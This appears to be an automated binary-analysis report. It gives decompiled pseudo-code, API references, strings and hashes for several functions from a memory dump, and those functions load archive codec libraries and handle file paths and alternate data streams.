								_t196 =  *( *((intOrPtr*)(_t191 + 0xc)) +  *(_t199 - 0x10) * 4);
								_t117 = GetProcAddress( *_t196, "SetCodecs");
								_t196[8] = _t117;
								if(_t117 == 0) {
									goto L24;
								}
								_t109 =  *_t117(_t191);
								if(_t109 != 0) {
									_t194 = _t109;
									goto L26;
								}
								L24:
								 *(_t199 - 0x10) =  *(_t199 - 0x10) + 1;
								_t109 =  *(_t199 - 0x10);
							} while ( *(_t199 - 0x10) <  *(_t191 + 0x10));
							goto L25;
						}
						if(_t109 != 1) {
							goto L20;
						}
						_t217 =  *0x12746a4; // 0x0
						if(_t217 != 0) {
							goto L20;
						}
						goto L19;
					}
				}
				 *(_t199 - 0x18) = 0x12745a4;
				do {
					_t197 =  *( *(_t199 - 0x18));
					E0124B825(_t199 - 0x98, _t205);
					 *(_t199 - 4) = 0;
					E01232B8A(_t199 - 0x8c, _t197[3]);
					 *(_t199 - 0x94) = _t197[6];
					 *(_t199 - 0x90) = _t197[8];
					 *(_t199 - 0x98) =  *_t197 & 0x0000ffff;
					E012328E9(_t199 - 0x28);
					 *(_t199 - 4) = 1;
					E012328E9(_t199 - 0x44);
					_t127 = _t197[4];
					 *(_t199 - 4) = 2;
					if(_t197[4] != 0) {
						E01232B8A(_t199 - 0x28, _t127);
					}
					_t128 = _t197[5];
					_t207 = _t128;
					if(_t128 != 0) {
						E01232B8A(_t199 - 0x44, _t128);
					}
					_push(_t199 - 0x44);
					_push(_t199 - 0x28);
					_t132 = E01231ABD(E0124B152(_t199 - 0x98, _t207),  *((intOrPtr*)(_t199 - 0x44)));
					 *(_t199 - 4) = 0;
					E01231ABD(_t132,  *((intOrPtr*)(_t199 - 0x28)));
					_t134 = _t197[7];
					 *(_t199 - 0x74) = _t134;
					 *((char*)(_t199 - 0x70)) = _t134 & 0xffffff00 | _t197[7] != 0x00000000;
					 *(_t199 - 0x6c) = _t197[1] & 0x0000ffff;
					 *((char*)(_t199 - 0x6f)) = 1;
					_t138 =  *_t197 >> 4;
					_t209 = _t138 & 0x00000001;
					if((_t138 & 0x00000001) == 0) {
						 *(_t199 - 0x10) = _t197[0] & 0x000000ff;
						 *(_t199 - 0x2c) = _t197[2];
						_t198 = E0123B06C(_t199 - 0x68);
						E0123705A(_t198,  *(_t199 - 0x10));
						__eflags =  *(_t199 - 0x10);
						if( *(_t199 - 0x10) != 0) {
							memcpy( *_t198,  *(_t199 - 0x2c),  *(_t199 - 0x10));
							_t202 = _t202 + 0xc;
						}
					} else {
						E0124B862(_t197[2], _t197[0] & 0x000000ff, _t209, _t199 - 0x68);
					}
					_push(_t199 - 0x98);
					E0124CA16(_t191 + 0x28);
					 *(_t199 - 4) =  *(_t199 - 4) | 0xffffffff;
					E0124BAEB(0, _t199 - 0x98);
					 *((intOrPtr*)(_t199 - 0x1c)) =  *((intOrPtr*)(_t199 - 0x1c)) + 1;
					 *(_t199 - 0x18) =  &(( *(_t199 - 0x18))[1]);
					_t210 =  *((intOrPtr*)(_t199 - 0x1c)) -  *0x12746a4; // 0x0
				} while (_t210 < 0);
				goto L11;
			}

0x0124bd4a
0x0124bd4f
0x0124bd58
0x0124bd5d
0x0124bd67
0x0124bd6a
0x0124bd6d
0x0124bd70
0x0124bd73
0x0124bd76
0x0124bd7c
0x0124bec4
0x0124bec7
0x0124bed8
0x0124bedf
0x0124bee7
0x0124bef0
0x0124bef8
0x0124befa
0x0124befe
0x0124bf06
0x0124bfda
0x0124bfdd
0x0124bfeb
0x0124bff3
0x0124bff3
0x0124bf0f
0x0124bf1a
0x0124bf1a
0x0124bf2f
0x0124bf32
0x0124bf36
0x0124bf3e
0x0124bf40
0x0124bf44
0x0124bf4c
0x00000000
0x0124bf52
0x0124bf62
0x0124bf65
0x0124bf69
0x0124bf71
0x0124bf73
0x0124bf77
0x0124bf7f
0x00000000
0x00000000
0x0124bf81
0x0124bf85
0x0124bf8a
0x0124bf99
0x0124bf99
0x0124bf9c
0x0124bf9f
0x0124bfd8
0x0124bfd8
0x00000000
0x0124bfd8
0x0124bfa4
0x0124bfa7
0x00000000
0x00000000
0x00000000
0x00000000
0x0124bfa9
0x0124bfa9
0x0124bfb4
0x0124bfb9
0x0124bfc1
0x0124bfc4
0x00000000
0x00000000
0x0124bfc7
0x0124bfcb
0x0124bff4
0x00000000
0x0124bff4
0x0124bfcd
0x0124bfcd
0x0124bfd0
0x0124bfd3
0x00000000
0x0124bfa9
0x0124bf8f
0x00000000
0x00000000
0x0124bf91
0x0124bf97
0x00000000
0x00000000
0x00000000
0x0124bf97
0x0124bf4c
0x0124bd82
0x0124bd89
0x0124bd92
0x0124bd94
0x0124bda2
0x0124bda5
0x0124bdb0
0x0124bdb9
0x0124bdc2
0x0124bdc8
0x0124bdd0
0x0124bdd4
0x0124bdd9
0x0124bddc
0x0124bde2
0x0124bde8
0x0124bde8
0x0124bded
0x0124bdf0
0x0124bdf2
0x0124bdf8
0x0124bdf8
0x0124be06
0x0124be0a
0x0124be13
0x0124be1b
0x0124be1e
0x0124be23
0x0124be27
0x0124be31
0x0124be38
0x0124be3b
0x0124be41
0x0124be44
0x0124be46
0x0124be5e
0x0124be67
0x0124be72
0x0124be76
0x0124be7b
0x0124be7e
0x0124be88
0x0124be8d
0x0124be8d
0x0124be48
0x0124be53
0x0124be53
0x0124be99
0x0124be9a
0x0124be9f
0x0124bea9
0x0124beae
0x0124beb1
0x0124beb8
0x0124beb8
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0124BD4A
memcpy.MSVCRT ref: 0124BE88
GetProcAddress.KERNEL32(00000000,SetCodecs), ref: 0124BFB9

Strings

SetCodecs, xrefs: 0124BFAF
Formats\, xrefs: 0124BF52
Nqt, xrefs: 0124BFB9
Codecs\, xrefs: 0124BF1F

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressH_prologProcmemcpy
String ID: Codecs\$Formats\$SetCodecs$Nqt
API String ID: 1477616095-2398224220
Opcode ID: 694d4b0d97da7f1c2ca170ae932e14c407fc73389368f30b01b8291f3c522d3c
Instruction ID: f04671ad6a3d977521c3325cf9bd96c89e8421aa79bece0cfd3903be4527b991
Opcode Fuzzy Hash: 694d4b0d97da7f1c2ca170ae932e14c407fc73389368f30b01b8291f3c522d3c
Instruction Fuzzy Hash: A9916D7091025BDFCF29EFA8C890AADBBB4BF68214F04455DE559A3251DB30AA89CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0124BB2D Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 107
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0124BB2D(intOrPtr __ecx, intOrPtr* _a4, signed int _a8, signed int _a12) {
				intOrPtr* _v8;
				void* __ebp;
				signed char* _t40;
				signed int _t45;
				signed int _t47;
				signed int _t48;
				signed int _t51;
				signed int _t52;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t63;
				signed int _t66;
				signed int _t67;
				struct HINSTANCE__** _t85;
				intOrPtr _t89;

				_push(__ecx);
				_t40 = _a12;
				_t89 = __ecx;
				if(_t40 != 0) {
					 *_t40 =  *_t40 & 0x00000000;
				}
				_t93 = _a8;
				if(_a8 == 0) {
					L6:
					_t63 = _t89 + 0xc;
					_v8 = _t63;
					E0124C931(_t63);
					_t85 =  *( *_t63 +  *(_t63 + 4) * 4 - 4);
					_t15 =  &(_t85[1]); // 0x8
					E01232A8C(_t15, _a4);
					_a8 = _a8 & 0x00000000;
					_t45 = E01234A51(_t85, __eflags,  *_a4);
					__eflags = _t45;
					if(_t45 == 0) {
						L21:
						E0124C9F1(_t63);
						L22:
						_t47 = _a8;
						L23:
						return _t47;
					}
					_t48 = _a12;
					__eflags = _t48;
					if(_t48 != 0) {
						 *_t48 = 1;
					}
					__eflags =  *0x1274720;
					if( *0x1274720 != 0) {
						_t55 = GetProcAddress( *_t85, "SetLargePageMode");
						__eflags = _t55;
						if(_t55 != 0) {
							 *_t55();
						}
					}
					__eflags =  *((char*)(_t89 + 0x4c));
					if( *((char*)(_t89 + 0x4c)) != 0) {
						_t53 = GetProcAddress( *_t85, "SetCaseSensitive");
						__eflags = _t53;
						if(_t53 != 0) {
							__eflags =  *(_t89 + 0x4d);
							_t23 =  *(_t89 + 0x4d) != 0;
							__eflags = _t23;
							 *_t53(0 | _t23);
						}
					}
					_t85[4] = GetProcAddress( *_t85, "CreateObject");
					_t66 =  *(_t89 + 0x38);
					_a4 =  *((intOrPtr*)(_t89 + 0x44));
					_t51 = E0124B2E8(_t89); // executed
					_a8 = _t51;
					__eflags = _a4 + _t66 -  *(_t89 + 0x38) +  *((intOrPtr*)(_t89 + 0x44));
					_t67 = _t66 & 0xffffff00 | _a4 + _t66 !=  *(_t89 + 0x38) +  *((intOrPtr*)(_t89 + 0x44));
					__eflags = _t51;
					if(_t51 == 0) {
						__eflags = _t85[4] - _t51;
						if(_t85[4] != _t51) {
							_t52 = E0124B4D3(_t89); // executed
							__eflags =  *((intOrPtr*)(_t89 + 0x2c)) -  *((intOrPtr*)(_t89 + 0x2c));
							_a8 = _t52;
							if( *((intOrPtr*)(_t89 + 0x2c)) !=  *((intOrPtr*)(_t89 + 0x2c))) {
								_t67 = 1;
							}
						}
					}
					__eflags = _t67;
					if(_t67 != 0) {
						goto L22;
					} else {
						_t63 = _v8;
						goto L21;
					}
				}
				_a8 = _a8 & 0x00000000;
				if(E01234A26( &_a8, _t93,  *_a4, 2) != 0) {
					E01234A07( &_a8);
					goto L6;
				} else {
					E01234A07( &_a8);
					_t47 = 0;
					goto L23;
				}
			}

0x0124bb30
0x0124bb31
0x0124bb37
0x0124bb39
0x0124bb3b
0x0124bb3b
0x0124bb3e
0x0124bb42
0x0124bb70
0x0124bb71
0x0124bb77
0x0124bb7a
0x0124bb87
0x0124bb8b
0x0124bb8e
0x0124bb96
0x0124bb9e
0x0124bba3
0x0124bba5
0x0124bc44
0x0124bc46
0x0124bc4b
0x0124bc4b
0x0124bc50
0x0124bc52
0x0124bc52
0x0124bbab
0x0124bbae
0x0124bbb0
0x0124bbb2
0x0124bbb2
0x0124bbb5
0x0124bbc2
0x0124bbcb
0x0124bbcd
0x0124bbcf
0x0124bbd1
0x0124bbd1
0x0124bbcf
0x0124bbd3
0x0124bbd7
0x0124bbe0
0x0124bbe2
0x0124bbe4
0x0124bbe8
0x0124bbeb
0x0124bbeb
0x0124bbef
0x0124bbef
0x0124bbe4
0x0124bbfa
0x0124bc00
0x0124bc05
0x0124bc08
0x0124bc18
0x0124bc1b
0x0124bc1d
0x0124bc20
0x0124bc22
0x0124bc24
0x0124bc27
0x0124bc2e
0x0124bc33
0x0124bc36
0x0124bc39
0x0124bc3b
0x0124bc3b
0x0124bc39
0x0124bc27
0x0124bc3d
0x0124bc3f
0x00000000
0x0124bc41
0x0124bc41
0x00000000
0x0124bc41
0x0124bc3f
0x0124bb47
0x0124bb5d
0x0124bb6b
0x00000000
0x0124bb5f
0x0124bb5f
0x0124bb64
0x00000000
0x0124bb64

APIs

Part of subcall function 01234A07: FreeLibrary.KERNELBASE(00000000,00000004,01234A59,?,0124BBA3,00000000,00000000,?,00000000,00000000,?,?,0124BEF5,00000000,00000000,?), ref: 01234A11

Part of subcall function 0124C931: __EH_prolog.LIBCMT ref: 0124C936

Part of subcall function 01234A51: LoadLibraryW.KERNELBASE(00000000,?,0124BBA3,00000000,00000000,?,00000000,00000000,?,?,0124BEF5,00000000,00000000,?), ref: 01234A61

GetProcAddress.KERNEL32(00000004,SetLargePageMode), ref: 0124BBCB
GetProcAddress.KERNEL32(00000004,SetCaseSensitive), ref: 0124BBE0
GetProcAddress.KERNEL32(00000004,CreateObject), ref: 0124BBF8

Strings

Nqt, xrefs: 0124BBBC
CreateObject, xrefs: 0124BBF1
SetLargePageMode, xrefs: 0124BBC4
SetCaseSensitive, xrefs: 0124BBD9

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressProc$Library$FreeH_prologLoad
String ID: CreateObject$SetCaseSensitive$SetLargePageMode$Nqt
API String ID: 1090236637-2732796358
Opcode ID: f6088c90275a565720410e81a377bef3edd25aafe812ac5f2b0d33003b42e7aa
Instruction ID: 63e24df4e0e6dc426a7df8e3bf76fadb1b01d969d5baf349c5dfac9547177fbc
Opcode Fuzzy Hash: f6088c90275a565720410e81a377bef3edd25aafe812ac5f2b0d33003b42e7aa
Instruction Fuzzy Hash: D441D030220347EFDF28EF29C890BAE7BA5AF58244F048458EE468B291DB75E951CB54

Uniqueness

Uniqueness Score: -1.00%

Function 01235D00 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 350
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E01235D00(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				signed int _t155;
				signed int _t156;
				intOrPtr _t157;
				signed int _t158;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed char _t167;
				signed int _t174;
				intOrPtr _t181;
				intOrPtr _t182;
				signed int _t186;
				intOrPtr _t189;
				signed int _t190;
				signed int _t204;
				signed int _t208;
				signed int _t215;
				intOrPtr _t216;
				signed int _t220;
				signed int _t231;
				signed char _t232;
				signed int _t233;
				void* _t235;
				intOrPtr* _t236;
				intOrPtr* _t242;
				void* _t253;
				signed int _t279;
				intOrPtr* _t298;
				long _t300;
				intOrPtr* _t302;
				intOrPtr* _t304;
				void* _t305;

				E012639E0(E0126460C, _t305);
				_t298 =  *((intOrPtr*)(_t305 + 8));
				_t302 = __ecx;
				if(E01237168(_t298) == 0) {
					_t231 = E012373D8(_t298, __eflags);
					__eflags = _t231;
					if(_t231 < 0) {
						L39:
						 *(_t305 - 0x10) =  *(_t305 - 0x10) | 0xffffffff;
						 *(_t305 - 4) = 6;
						_t232 = 0;
						_t155 = E0123730C(_t298);
						__eflags = _t155;
						if(_t155 != 0) {
							_t232 = 4;
						}
						 *((intOrPtr*)(_t305 + 8)) = _t298 + _t232 * 2;
						_t156 = E012370D8(_t298 + _t232 * 2);
						__eflags = _t156;
						if(_t156 == 0) {
							L48:
							_t157 =  *_t298;
							__eflags = _t157 - 0x5c;
							if(_t157 == 0x5c) {
								L50:
								__eflags =  *((short*)(_t298 + 2));
								_t242 = _t298;
								if( *((short*)(_t298 + 2)) != 0) {
									_t158 = E01237286(_t242);
									__eflags = _t158;
									if(__eflags <= 0) {
										goto L65;
									}
									__eflags =  *((short*)(_t298 + _t158 * 2));
									_t246 = _t298 + _t158 * 2;
									 *((intOrPtr*)(_t305 - 0x14)) = _t298 + _t158 * 2;
									if(__eflags == 0) {
										goto L65;
									}
									__eflags = E01237090(_t246);
									if(__eflags >= 0) {
										goto L65;
									}
									E0123292C(_t305 - 0x44, _t298);
									 *(_t305 - 4) = 7;
									E01231089(_t305 - 0x44, 0x5c);
									E01231089(_t305 - 0x44, 0x2a);
									 *(_t305 + 0xb) =  *(_t305 + 0xb) & 0x00000000;
									_push(_t302);
									_push( *((intOrPtr*)(_t305 - 0x44)));
									_t166 = E012358CD(_t232, _t305 - 0x10, _t298, __eflags);
									__eflags = _t166;
									if(_t166 == 0) {
										L61:
										_t167 = E01235C83(_t298);
										__eflags =  *(_t305 + 0xb);
										_t232 = _t167;
										if( *(_t305 + 0xb) != 0) {
											L69:
											E01235C60(_t302);
											__eflags = _t232 - 0xffffffff;
											if(_t232 == 0xffffffff) {
												 *(_t302 + 0x20) = 0x10;
											} else {
												 *(_t302 + 0x20) = _t232;
											}
											_push( *((intOrPtr*)(_t305 - 0x14)));
											_t253 = _t302 + 0x28;
											L73:
											E01231ABD(E01232A28(_t253),  *((intOrPtr*)(_t305 - 0x44)));
											E012358AD(_t305 - 0x10);
											L74:
											_t161 = 1;
											goto L68;
										}
										__eflags = _t232 - 0xffffffff;
										if(__eflags == 0) {
											L64:
											 *(_t305 - 4) = 6;
											E01231ABD(_t167,  *((intOrPtr*)(_t305 - 0x44)));
											goto L65;
										}
										__eflags = _t232 & 0x00000010;
										if(__eflags != 0) {
											goto L69;
										}
										goto L64;
									}
									_t235 = _t302 + 0x28;
									_t174 = wcscmp( *(_t302 + 0x28), ".");
									__eflags = _t174;
									if(_t174 != 0) {
										 *(_t305 + 0xb) = 1;
										goto L61;
									}
									_push( *((intOrPtr*)(_t305 - 0x14)));
									_t253 = _t235;
									goto L73;
								}
								_t232 = E01235C83(_t242);
								__eflags = _t232 - 0xffffffff;
								if(__eflags == 0) {
									goto L65;
								}
								__eflags = _t232 & 0x00000010;
								if(__eflags == 0) {
									goto L65;
								}
								E01235C60(_t302);
								 *(_t302 + 0x2c) =  *(_t302 + 0x2c) & 0x00000000;
								 *( *(_t302 + 0x28)) =  *( *(_t302 + 0x28)) & 0x00000000;
								 *(_t302 + 0x20) = _t232;
								goto L47;
							}
							__eflags = _t157 - 0x2f;
							if(__eflags != 0) {
								goto L65;
							}
							goto L50;
						} else {
							__eflags =  *((short*)(_t298 + 6 + _t232 * 2));
							if( *((short*)(_t298 + 6 + _t232 * 2)) != 0) {
								goto L48;
							}
							_t232 = E01235C83(_t298);
							__eflags = _t232 - 0xffffffff;
							if(__eflags == 0) {
								L65:
								_push(_t302);
								_push(_t298);
								_t159 = E012358CD(_t232, _t305 - 0x10, _t298, __eflags); // executed
								_t233 = _t159;
								L66:
								E012358AD(_t305 - 0x10);
								L67:
								_t161 = _t233;
								L68:
								 *[fs:0x0] =  *((intOrPtr*)(_t305 - 0xc));
								return _t161;
							}
							__eflags = _t232 & 0x00000010;
							if(__eflags == 0) {
								goto L65;
							}
							E01235C60(_t302);
							 *(_t302 + 0x20) = _t232;
							_t304 = _t302 + 0x28;
							E01232A28(_t304,  *((intOrPtr*)(_t305 + 8)));
							_t181 = 2;
							__eflags =  *((intOrPtr*)(_t304 + 4)) - _t181;
							if( *((intOrPtr*)(_t304 + 4)) > _t181) {
								 *((intOrPtr*)(_t304 + 4)) = _t181;
								_t182 =  *_t304;
								_t111 = _t182 + 4;
								 *_t111 =  *(_t182 + 4) & 0x00000000;
								__eflags =  *_t111;
							}
							L47:
							_t233 = 1;
							goto L66;
						}
					}
					__eflags =  *((short*)(_t298 + 2 + _t231 * 2));
					if( *((short*)(_t298 + 2 + _t231 * 2)) == 0) {
						goto L39;
					}
					E0123292C(_t305 - 0x2c, _t298 + _t231 * 2);
					 *(_t305 - 4) = 1;
					E0123292C(_t305 - 0x38, _t298);
					__eflags = _t231 -  *(_t305 - 0x34);
					 *(_t305 - 4) = 2;
					if(_t231 <  *(_t305 - 0x34)) {
						_t216 =  *((intOrPtr*)(_t305 - 0x38));
						 *(_t305 - 0x34) = _t231;
						_t40 = _t216 + _t231 * 2;
						 *_t40 =  *(_t216 + _t231 * 2) & 0x00000000;
						__eflags =  *_t40;
					}
					_t186 =  *(_t305 - 0x28);
					__eflags = _t186 - 6;
					if(_t186 <= 6) {
						L17:
						E01232CAD(_t305 - 0x2c, ":$DATA");
						goto L18;
					} else {
						_t215 = E012320D0( *((intOrPtr*)(_t305 - 0x2c)) + _t186 * 2 - 0xc, ":$DATA");
						__eflags = _t215;
						if(_t215 != 0) {
							L18:
							__eflags = E012372E3( *((intOrPtr*)(_t305 - 0x38)));
							_t189 =  *((intOrPtr*)(_t305 - 0x38));
							if(__eflags == 0) {
								L24:
								_t190 = E01235D00(_t302, __eflags, _t189);
								__eflags = _t190;
								if(_t190 == 0) {
									E01231ABD(E01231ABD(_t190,  *((intOrPtr*)(_t305 - 0x38))),  *((intOrPtr*)(_t305 - 0x2c)));
									goto L39;
								}
								_t300 = 0;
								__eflags = 0;
								L26:
								 *(_t302 + 0x20) =  *(_t302 + 0x20) & 0x0000fbef;
								_t59 = _t305 - 0x60;
								 *_t59 =  *(_t305 - 0x60) | 0xffffffff;
								__eflags =  *_t59;
								 *_t302 = _t300;
								 *((intOrPtr*)(_t302 + 4)) = _t300;
								 *(_t305 - 4) = 3;
								E012329BC(_t305 - 0x5c,  *_t59, _t305 - 0x38);
								 *(_t305 - 4) = 4;
								E012328E9(_t305 - 0x50);
								while(1) {
									_push(_t305 + 0xb);
									 *(_t305 - 4) = 5;
									_t198 = E01235C20(_t305 - 0x60, _t305, _t305 - 0x50);
									__eflags = _t198;
									if(_t198 == 0) {
										break;
									}
									__eflags =  *(_t305 + 0xb);
									if( *(_t305 + 0xb) == 0) {
										SetLastError(2);
										break;
									}
									_t204 = E01231FD4( *((intOrPtr*)(_t305 - 0x50)),  *((intOrPtr*)(_t305 - 0x2c)));
									__eflags = _t204;
									if(_t204 != 0) {
										_t279 =  *(_t305 - 0x4c);
										__eflags = _t279 - 7;
										if(__eflags > 0) {
											_t78 = _t279 - 6; // 0xfde3
											_t208 = _t78;
											__eflags = _t208 - _t279;
											if(__eflags < 0) {
												 *(_t305 - 0x4c) = _t208;
												 *((short*)( *((intOrPtr*)(_t305 - 0x50)) + _t208 * 2)) = _t300;
											}
										}
										E01232C71(_t302 + 0x28, __eflags, _t305 - 0x50);
										 *((char*)(_t302 + 0x24)) = 1;
										 *_t302 =  *((intOrPtr*)(_t305 - 0x40));
										_t198 =  *((intOrPtr*)(_t305 - 0x3c));
										 *((intOrPtr*)(_t302 + 4)) =  *((intOrPtr*)(_t305 - 0x3c));
										_t233 = 1;
										L37:
										E01231ABD(E01231ABD(_t198,  *((intOrPtr*)(_t305 - 0x50))),  *((intOrPtr*)(_t305 - 0x5c)));
										E01231ABD(E01231ABD(E012358AD(_t305 - 0x60),  *((intOrPtr*)(_t305 - 0x38))),  *((intOrPtr*)(_t305 - 0x2c)));
										goto L67;
									}
									 *(_t305 - 4) = 4;
									E01231ABD(_t204,  *((intOrPtr*)(_t305 - 0x50)));
									E012328E9(_t305 - 0x50);
								}
								_t233 = 0;
								goto L37;
							}
							__eflags = _t231 - 2;
							if(_t231 == 2) {
								L22:
								E01235C60(_t302);
								_t285 = _t302 + 0x28;
								_t300 = 0;
								__eflags = _t231 - 2;
								 *((intOrPtr*)(_t302 + 0x2c)) = 0;
								 *( *(_t302 + 0x28)) = 0;
								if(_t231 == 2) {
									E01232A8C(_t285, _t305 - 0x38);
								}
								goto L26;
							}
							__eflags = _t231 - 3;
							if(__eflags != 0) {
								goto L24;
							}
							__eflags =  *((short*)(_t189 + 4)) - 0x5c;
							if(__eflags != 0) {
								goto L24;
							}
							goto L22;
						}
						goto L17;
					}
				}
				E01235C60(__ecx);
				_t2 = _t298 + 8; // 0x9
				_t236 = _t2;
				E01232A28(__ecx + 0x28, _t236);
				 *((char*)(__ecx + 0x25)) = 1;
				if(E012372E3(_t236) == 0 ||  *((short*)(_t298 + 0xc)) != 0) {
					L5:
					 *(_t305 - 0x60) =  *(_t305 - 0x60) | 0xffffffff;
					 *(_t305 - 4) =  *(_t305 - 4) & 0x00000000;
					_t220 = E012368C6(_t298);
					__eflags = _t220;
					if(_t220 != 0) {
						__eflags =  *((char*)(_t305 - 0x5b));
						if( *((char*)(_t305 - 0x5b)) != 0) {
							 *_t302 =  *((intOrPtr*)(_t305 - 0x58));
							 *((intOrPtr*)(_t302 + 4)) =  *((intOrPtr*)(_t305 - 0x54));
						}
						_t233 = 1;
					} else {
						_t233 = 0;
					}
					E01236497(_t305 - 0x60);
					goto L67;
				} else {
					 *(_t305 - 0x12) =  *(_t305 - 0x12) & 0x00000000;
					 *((short*)(_t305 - 0x18)) =  *_t236;
					 *((short*)(_t305 - 0x16)) = 0x3a;
					 *((short*)(_t305 - 0x14)) = 0x5c;
					if(E01237DF4(_t305 - 0x18, _t305 - 0x34, _t305 - 0x20, _t305 - 0x28) == 0) {
						goto L5;
					} else {
						 *__ecx =  *((intOrPtr*)(_t305 - 0x20));
						 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(_t305 - 0x1c));
						goto L74;
					}
				}
			}

0x01235d05
0x01235d10
0x01235d13
0x01235d1e
0x01235dcc
0x01235dce
0x01235dd0
0x01235f87
0x01235f87
0x01235f8d
0x01235f94
0x01235f96
0x01235f9b
0x01235f9d
0x01235fa1
0x01235fa1
0x01235fa5
0x01235fa8
0x01235fad
0x01235faf
0x01236004
0x01236004
0x01236007
0x0123600b
0x01236017
0x01236017
0x0123601c
0x0123601e
0x01236050
0x01236055
0x01236057
0x00000000
0x00000000
0x0123605d
0x01236062
0x01236065
0x01236068
0x00000000
0x00000000
0x01236073
0x01236075
0x00000000
0x00000000
0x0123607b
0x01236085
0x01236089
0x01236093
0x01236098
0x0123609c
0x0123609d
0x012360a3
0x012360a8
0x012360aa
0x012360cf
0x012360d1
0x012360d6
0x012360da
0x012360dc
0x0123611c
0x0123611e
0x01236123
0x01236126
0x0123612d
0x01236128
0x01236128
0x01236128
0x01236134
0x01236137
0x0123613a
0x01236142
0x0123614b
0x01236150
0x01236150
0x00000000
0x01236150
0x012360de
0x012360e1
0x012360e8
0x012360eb
0x012360ef
0x00000000
0x012360f4
0x012360e3
0x012360e6
0x00000000
0x00000000
0x00000000
0x012360e6
0x012360af
0x012360b8
0x012360bf
0x012360c2
0x012360cb
0x00000000
0x012360cb
0x012360c4
0x012360c7
0x00000000
0x012360c7
0x01236025
0x01236027
0x0123602a
0x00000000
0x00000000
0x01236030
0x01236033
0x00000000
0x00000000
0x0123603b
0x01236043
0x01236047
0x0123604b
0x00000000
0x0123604b
0x0123600d
0x01236011
0x00000000
0x00000000
0x00000000
0x01235fb1
0x01235fb1
0x01235fb7
0x00000000
0x00000000
0x01235fc0
0x01235fc2
0x01235fc5
0x012360f5
0x012360f5
0x012360f6
0x012360fa
0x012360ff
0x01236101
0x01236104
0x01236109
0x01236109
0x0123610b
0x01236111
0x01236119
0x01236119
0x01235fcb
0x01235fce
0x00000000
0x00000000
0x01235fd6
0x01235fde
0x01235fe1
0x01235fe6
0x01235fed
0x01235fee
0x01235ff1
0x01235ff3
0x01235ff6
0x01235ff8
0x01235ff8
0x01235ff8
0x01235ff8
0x01235ffd
0x01235ffd
0x00000000
0x01235ffd
0x01235faf
0x01235dd6
0x01235ddc
0x00000000
0x00000000
0x01235de9
0x01235df2
0x01235df9
0x01235dfe
0x01235e01
0x01235e05
0x01235e07
0x01235e0a
0x01235e0d
0x01235e0d
0x01235e0d
0x01235e0d
0x01235e12
0x01235e15
0x01235e18
0x01235e2f
0x01235e37
0x00000000
0x01235e1a
0x01235e26
0x01235e2b
0x01235e2d
0x01235e3c
0x01235e44
0x01235e46
0x01235e49
0x01235e81
0x01235e84
0x01235e89
0x01235e8b
0x01235f80
0x00000000
0x01235f86
0x01235e91
0x01235e91
0x01235e93
0x01235e93
0x01235e99
0x01235e99
0x01235e99
0x01235e9d
0x01235e9f
0x01235ea9
0x01235ead
0x01235eb5
0x01235eb9
0x01235ebe
0x01235ec4
0x01235ec9
0x01235ecd
0x01235ed2
0x01235ed4
0x00000000
0x00000000
0x01235ed6
0x01235eda
0x01235f04
0x00000000
0x01235f04
0x01235ee2
0x01235ee7
0x01235ee9
0x01235f0e
0x01235f11
0x01235f14
0x01235f16
0x01235f16
0x01235f19
0x01235f1b
0x01235f20
0x01235f23
0x01235f23
0x01235f1b
0x01235f2e
0x01235f36
0x01235f3a
0x01235f3c
0x01235f3f
0x01235f42
0x01235f44
0x01235f4f
0x01235f69
0x00000000
0x01235f6f
0x01235eee
0x01235ef2
0x01235efb
0x01235efb
0x01235f0a
0x00000000
0x01235f0a
0x01235e4b
0x01235e4e
0x01235e5c
0x01235e5e
0x01235e66
0x01235e69
0x01235e6b
0x01235e6e
0x01235e71
0x01235e74
0x01235e7a
0x01235e7a
0x00000000
0x01235e74
0x01235e50
0x01235e53
0x00000000
0x00000000
0x01235e55
0x01235e5a
0x00000000
0x00000000
0x00000000
0x01235e5a
0x00000000
0x01235e2d
0x01235e18
0x01235d26
0x01235d2b
0x01235d2b
0x01235d32
0x01235d39
0x01235d44
0x01235d8c
0x01235d8c
0x01235d90
0x01235d98
0x01235d9d
0x01235d9f
0x01235da5
0x01235da9
0x01235dae
0x01235db3
0x01235db3
0x01235db6
0x01235da1
0x01235da1
0x01235da1
0x01235dbb
0x00000000
0x01235d4d
0x01235d50
0x01235d55
0x01235d67
0x01235d6d
0x01235d7a
0x00000000
0x01235d7c
0x01235d7f
0x01235d84
0x00000000
0x01235d84
0x01235d7a

APIs

__EH_prolog.LIBCMT ref: 01235D05
SetLastError.KERNEL32(00000002,?,00000000,00000001,:$DATA,00000001,00000000,00000001), ref: 01235F04

Part of subcall function 01237DF4: GetModuleHandleW.KERNEL32(kernel32.dll,GetDiskFreeSpaceExW,74711190,000000FF,00000000,?,?,?,?,?,?,?,?,?,01236787,00000001), ref: 01237E10
Part of subcall function 01237DF4: GetProcAddress.KERNEL32(00000000), ref: 01237E17
Part of subcall function 01237DF4: GetDiskFreeSpaceW.KERNEL32(00000001,01236787,?,?,?,?,?,?,?,?,?,?,?,?,01236787,00000001), ref: 01237E67
